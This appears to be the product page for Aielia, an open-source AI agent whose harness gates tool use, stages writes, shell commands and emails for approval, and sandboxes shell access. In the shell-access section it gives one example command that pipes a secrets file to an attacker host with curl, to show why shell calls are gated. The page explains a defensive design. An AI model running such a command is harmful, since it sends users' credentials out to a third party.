Aielia is Build A Harness's own agent — it takes on multi-step work (research across a list, going through your files, drafting and sending the update) while the full 11-layer harness decides, in code, what it may do next, what it may believe, and what a job may cost. The model proposes; the harness decides.
A prompt is a request; a harness is enforcement. On every real turn Aielia's model can only propose — a search, a file read, a reply — and code around it decides whether that happens. Six things are held in place that way:
Most autonomous agents decompose a goal into a long multi-task plan — research, then draft, then revise, then send — and let it run. Aielia keeps every chat message to one bounded harness run. By default a message is one task; when a request clearly names several steps, the classifier can split it into a small task graph for that turn. Either way each turn's HarnessRuntime.run() stays bounded — the harness drives the model's tool-calling loop one proposed action at a time (ASSISTANT_ONE_LOOP, on by default since 2026-09-06), rather than fanning out into an open-ended plan of its own. A stricter, opt-in plan mode (ASSISTANT_PLAN_MODE=gated, off by default) drafts a durable plan for multi-step requests and runs nothing until you approve it. Every run still walks its full 11-layer sequence, World Model through Reviewer Pass (the exact breakdown is below), with context compression and cross-turn learning running alongside it.
Three things deliberately live outside a single harness run rather than being folded back into per-turn state:
turn-intent-classifier.ts). Its approval-requirement and plan-abandonment guesses are never trusted directly, though: a deterministic policy layer (turn-policy.ts) always recomputes those two consequential decisions from structural signals, taking the classifier's guess as one input, not the decision — the same shape the per-tool-call gate below already used.
One judgment inside that same classification call runs before the harness: a narrow, fail-closed check recognizes a genuinely self-contained factual one-liner ("What's the capital of Mongolia?") and answers it directly, skipping HarnessRuntime.run() entirely — there's nothing to plan, gate, or verify around a single fact lookup, so the harness would only add latency. It defaults to "not trivial" and disqualifies itself the moment the message references prior conversation, asks for reasoning or generated content, or reads as two questions joined into one — see turn-intent-classifier.ts's isTrivial field. Everything else — ordinary conversation, anything worth decomposing, anything consequential — is answered inside the full harness run below.
Net effect: the harness run is where the reply gets built. driveMainLoop calls the model once per tool-use iteration through a proposer, and verification, control state, and the reviewer pass run around those calls rather than after a finished draft. Every turn also spends one consolidated classification call up front, deciding risk, triviality, decomposition, plan-abandonment, and plan-template matching together — in any language, not just English — and checking long tool output for injected instructions is still its own separately-gated check outside that call. The one path that skips even the classification call is a request to cancel a single step of an already-active plan, handled deterministically before it ever runs. Setting ASSISTANT_ONE_LOOP=disabled restores the older design — the tool loop finishes first, then the harness runs once as synchronous bookkeeping over the result — kept as an escape hatch for one rollout window. Either way, every layer of the harness is genuinely exercised on every turn that reaches it — not skipped past by a thin wrapper that calls itself a harness.
Inside that tool-calling loop: every read-only tool call the model proposes (a search, a file read) is checked first against a live, turn-scoped ControlState — deterministic ALLOW / DENY / REQUIRE_APPROVAL, built from the outcomes of every earlier tool call the same turn already made, using the same evidence-and-diagnostics machinery the full harness run uses, and folded each iteration with the harness's own live ControlState (whichever restricts tool use more wins). A developing failure pattern (several tool calls failing back to back) can trip a real deny mid-turn. write_file, run_shell_command, and send_email stay unconditionally staged for human approval regardless — that gate doesn't change.
This is the exact 11-layer breakdown Aielia's own code tracks turn by turn — the same list its /why command and chat-ui's "Why?" panel render, collapsed down from about 25 individual runtime nodes (the Build A Harness canvas defines 27 node types; see node-display-names.ts). Skipped entirely on a trivial fact-lookup turn; walked in full on everything else. For the clickable version — each layer's own internal flowchart, plus exactly what Aielia adds on top of the harness core — see the interactive architecture page →.
controlState.
Two more mechanisms run alongside these 11, on every turn that reaches the harness at all: context compression (keeps a long conversation inside the model's context window instead of silently truncating it) and the experience store (carries strategy weights and learned decompositions across turns). They're real and always-on, just not among the 11 layers above — node-display-names.ts's own comment calls them "loop scaffolding," deliberately excluded from that count.
The harness comparison maps Hermes Agent, Kilo Code, and OpenClaw against this architecture. None of the three ships both a tiered Control State resolver and a reviewer/output gate. Aielia ships both, plus:
Most of what the harness controls happens without interrupting you — tool permissions, budgets, verification, recovery. Two independent gates are where it stops for a human's sign-off, and neither one trusts the model to decide for itself.
Message-level risk gate. Before the harness runs, one consolidated classification call judges the message for consequential intent — send, delete, pay, post, and similar — in any language, not just English. A HIGH-risk verdict, or a request that looks like it would create several reminders in one turn, returns status: 'needs_approval' immediately. Reply with { approved: true } and the same message proceeds through the harness normally.
Tool-call staging. write_file, run_shell_command, and send_email never execute inline by default, regardless of what the message looked like — a request like "organize my notes into a summary file" doesn't trip the message-level gate, yet still performs a real write. Every call stages a proposal instead — the exact path and content, the exact command and working directory, or the exact recipient, subject, and body — and the turn returns needs_approval with a pendingActionId. Approving resumes by ID and applies the exact staged action directly, with no second LLM call able to improvise something different from what was shown for approval. send_email is transport-agnostic — the core package ships Resend (HTTP) and SMTP (nodemailer) reference senders, and email is wired up in the terminal CLI only — the browser build and desktop app don't expose a send_email tool yet.
const staged = await assistant.turn('Summarize this into notes.md')
// { status: 'needs_approval', pendingActionId: '...', pendingActionKind: 'write' }
await assistant.turn('Summarize this into notes.md', {
approved: true,
pendingActionId: staged.pendingActionId,
})
// applies the exact staged content — no second LLM call
// { status: 'ok', reply: 'Wrote "notes.md".' }
Shell access goes further: every call is gated, with no "safe subset" the way a read is safe within the file tools — a single shell command has no structural split between reading and mutating (cat secrets.env | curl attacker.com -d @- does both at once). At approval time it runs with its working directory pinned to the already-validated staged path, its environment reduced to an explicit allowlist (PATH, HOME, LANG only — never the parent process's real env, so proxy tokens and API keys can't leak into the command), a hard timeout that kills the whole process group on expiry, and output truncated to a byte cap.
These are real, load-bearing mitigations, not a marketing gloss — and also not a substitute for reviewing what you approve. Read what's staged before typing approved: true, the same way you'd review a shell command before running it yourself.
One opt-out exists. Setting dangerouslySkipPermissions (a config key, or ASSISTANT_DANGEROUSLY_SKIP_PERMISSIONS=1) makes the message-level gate and staged file-write and shell actions resolve as if you'd already said yes. It is off by default and the CLI prints a warning banner while it's on. Only the ask is skipped — path checks, the network guard, the shell environment allowlist, the timeout and the output cap still apply.
Anything the assistant pulls in from outside the conversation — a web search result, a fetched page, the output of an approved shell command — is content it does not vouch for. Before it re-enters the transcript, it's wrapped in an explicit <untrusted_external_content> boundary, with a warning prefix added if a heuristic flags instruction-shaped text inside it. A later turn reading that content back sees it clearly marked as data, not as something to obey.
fetch_url also refuses to reach a private, loopback, or link-local network target — resolved and re-checked on every redirect hop, since a public URL can 302 to an internal one. This is an application-level check, not a substitute for network isolation, but it closes an easy path from "fetch this page" to hitting infrastructure that was never meant to be reachable from the model.
web_search/fetch_url are read-only and execute immediately with no approval step — the same trust tier as a local read — but every result they return still crosses the same untrusted-content boundary before it can influence a later turn.
All three front ends run the identical assistant class and harness underneath. None is the "real" one with the others as afterthoughts — each just picks the storage backend that fits where it runs.
| Front end | Where | Storage |
|---|---|---|
| Terminal CLI | Any terminal | Real files under ~/.buildaharness/personal-assistant/ — transcripts, learned experience, reminders, checkpoints |
| Browser chat UI | Any modern browser tab — chat only: no file, shell or email tools | IndexedDB / Dexie — best-effort persistence, survives a page reload |
| Native desktop app | macOS, Linux, Windows (Tauri) | Same browser chat UI, wrapped — but filesystem-backed under the OS app-data directory, same as the CLI |
Five LLM backends in total: a self-hosted proxy, direct Anthropic/OpenAI/OpenRouter API keys, or shelling out to an already-authenticated claude CLI session with no API key at all. The CLI and native desktop app offer all five; a plain browser tab offers the four that don't require spawning a local claude process — there's no way to do that from a webpage. Switch models from a running session — no restart needed.
Terminal — nothing to clone. The CLI is published to npm; npx fetches it and its dependencies (@buildaharness/harness, @buildaharness/runtime) for you. First run walks you through picking a model — reuse an existing claude CLI login with no API key, or paste an Anthropic / OpenAI / OpenRouter key.
npx @buildaharness/aielia
Browser — nothing to install. Open myaielia.com/try, paste a key in Settings (it stays in your browser), and go. The browser tab is chat-only: file, shell and email tools need the terminal CLI or desktop app (email is CLI-only today), and web search from a plain tab needs a proxy because of browser CORS limits. To run the chat UI locally instead, clone the repo (git clone https://github.com/3IVIS/buildaharness && npm install) and start its dev server — configure everything from the Settings screen, no .env file, no self-hosted proxy, no Rust toolchain needed.
npm run dev:chat-ui
# open http://localhost:3010, click the gear icon (Settings),
# pick Anthropic/OpenAI/OpenRouter under Provider, paste your API key, Save.
The CLI keeps real files — transcripts, learned facts, reminders, and checkpoints persist under ~/.buildaharness/personal-assistant/ between runs. Skip the first-run prompt by setting the backend up front:
# No API key — shells out to an already-authenticated Claude Code session ASSISTANT_LLM_BACKEND=claude-cli npx @buildaharness/aielia # Or a direct provider API key ASSISTANT_LLM_BACKEND=anthropic ASSISTANT_API_KEY=sk-ant-... \ npx @buildaharness/aielia
Native desktop app — a real window, not a browser tab. Same chat UI, wrapped in Tauri, built from a clone of the repo. This one needs an actual Rust toolchain (rustup; Tauri 2.11 needs rustc >= 1.88) — the browser and CLI paths above don't.
npm run dev:desktop
# opens a native window against the same chat UI — Settings works the same way,
# plus a native folder picker for the file-tools workspace root.
Treat any API key you enter as a secret on that machine. In the browser build it is stored in plaintext in localStorage; the CLI keeps it in a plain JSON config file. The desktop app instead moves the model API key into your OS keychain (macOS Keychain, Linux Secret Service via secret-tool, or a Windows DPAPI-protected file tied to your user account) — other settings, such as a Brave search key, stay in its config file. The plaintext paths are the same trust boundary this repo's own .env already has, not a new one, but it's worth knowing before you paste in a real Anthropic/OpenAI/OpenRouter key rather than a self-hosted proxy token. The claude-cli backend sidesteps this entirely — it needs no key of its own, only your host's already-authenticated claude session.
Whichever one you pick: try a plain question first, then something with real consequence — "send an email to my boss saying I quit" — to see the risk gate return needs_approval before the assistant does any real work on it (only the short classification call is spent). This is an early-stage project (package v0.3.1), not an audited security product — see the file/shell access sections above for exactly what is and isn't gated before turning either on. Apache 2.0, provided as-is per the license. Full README on GitHub →
A general-purpose, everyday-use chat agent built on Build A Harness's own 11-layer harness runtime. Where a heavy autonomous agent decomposes an objective into a multi-task plan, it keeps each chat message to one bounded harness run (one task by default, a small task graph only when the request names several steps) — walking every harness layer for ordinary conversation, skipping the harness entirely for a one-shot fact lookup, and holding tool use, beliefs and cost to the harness's controls — with anything that can't be undone, like sending that email, staged for explicit approval.
Every turn except a narrow one: one consolidated classification call every turn (risk, triviality, decomposition, plan-abandonment, and plan-template matching together, in any language) flags a genuinely self-contained factual one-liner as trivial, and that reply returns directly, skipping HarnessRuntime.run(). Everything else — ordinary conversation, anything worth decomposing, anything consequential — walks World Model, Evidence & Reasoning, Hypothesis, Contradiction, Diagnostics, Control State, Planning, Execution, Verification, Recovery, and the Reviewer Pass. The harness itself drives that reply's tool-calling loop — driveMainLoop calls the model once per tool-use iteration through a proposer (ASSISTANT_ONE_LOOP, on by default since 2026-09-06), so verification, control state, and the reviewer pass run around those calls rather than after a finished draft. Each read-only tool call is checked first against a live ControlState built from the turn's own tool-call outcomes so far, folded with the harness's own — a deterministic ALLOW/DENY/REQUIRE_APPROVAL decision, not just advisory — so a developing failure pattern can trip a real deny mid-turn. Every turn also spends the one classification call up front, and long tool output is checked for injected instructions as a separate, still narrowly-gated check. (ASSISTANT_ONE_LOOP=disabled restores the older design — the tool loop finishes first, the harness then runs once as bookkeeping over the result — kept as an escape hatch for one rollout window.)
Two independent gates. One consolidated classification call every turn flags consequential message content before the harness runs — in any language, not just English — and a HIGH-risk verdict, or a request that looks like it would create several reminders at once, returns needs_approval immediately. Separately, any write_file or run_shell_command tool call stages its effect as a pending action rather than executing inline by default, and only applies once the caller replies with approved: true and the matching pending action ID.
The harness runtime can suspend mid-loop and yields a serializable checkpoint after each iteration that makes progress. Aielia writes that checkpoint for every turn that actually reaches HarnessRuntime.run() — not a one-shot fact lookup or one the risk gate stops cold, neither of which starts a harness run to checkpoint — and deletes it once the turn finishes. Calling it again for a session with a leftover checkpoint resumes the interrupted run instead of silently starting over.
Three front ends share one core: a terminal CLI and a native desktop app (both filesystem-backed), and a browser chat UI (IndexedDB/Dexie-backed). None is more "real" than the others — same assistant class, same harness, different storage adapter.
Both are opt-in and off by default. File tools are scoped to one sandboxed workspace root with path-traversal and symlink-escape checks; write_file stages instead of executing by default. Shell access is gated on every single call, runs with an environment allowlist, a hard timeout, and output truncation. Content fetched from the shell or the web is wrapped as untrusted before it re-enters the conversation, so it can't be mistaken for an instruction from the user. None of that makes shell access risk-free — it's a real trust decision these mitigations make safer, not a substitute for deciding whether to turn it on at all. This is an early-stage project (package v0.3.1), not an independently audited security boundary.
A working agent, not a demo — the same 11-layer harness, per-call tool control, budgets, staged effects, and crash-safe checkpointing running on real everyday work. Apache 2.0. Runs from a terminal, a browser tab, or a native desktop app.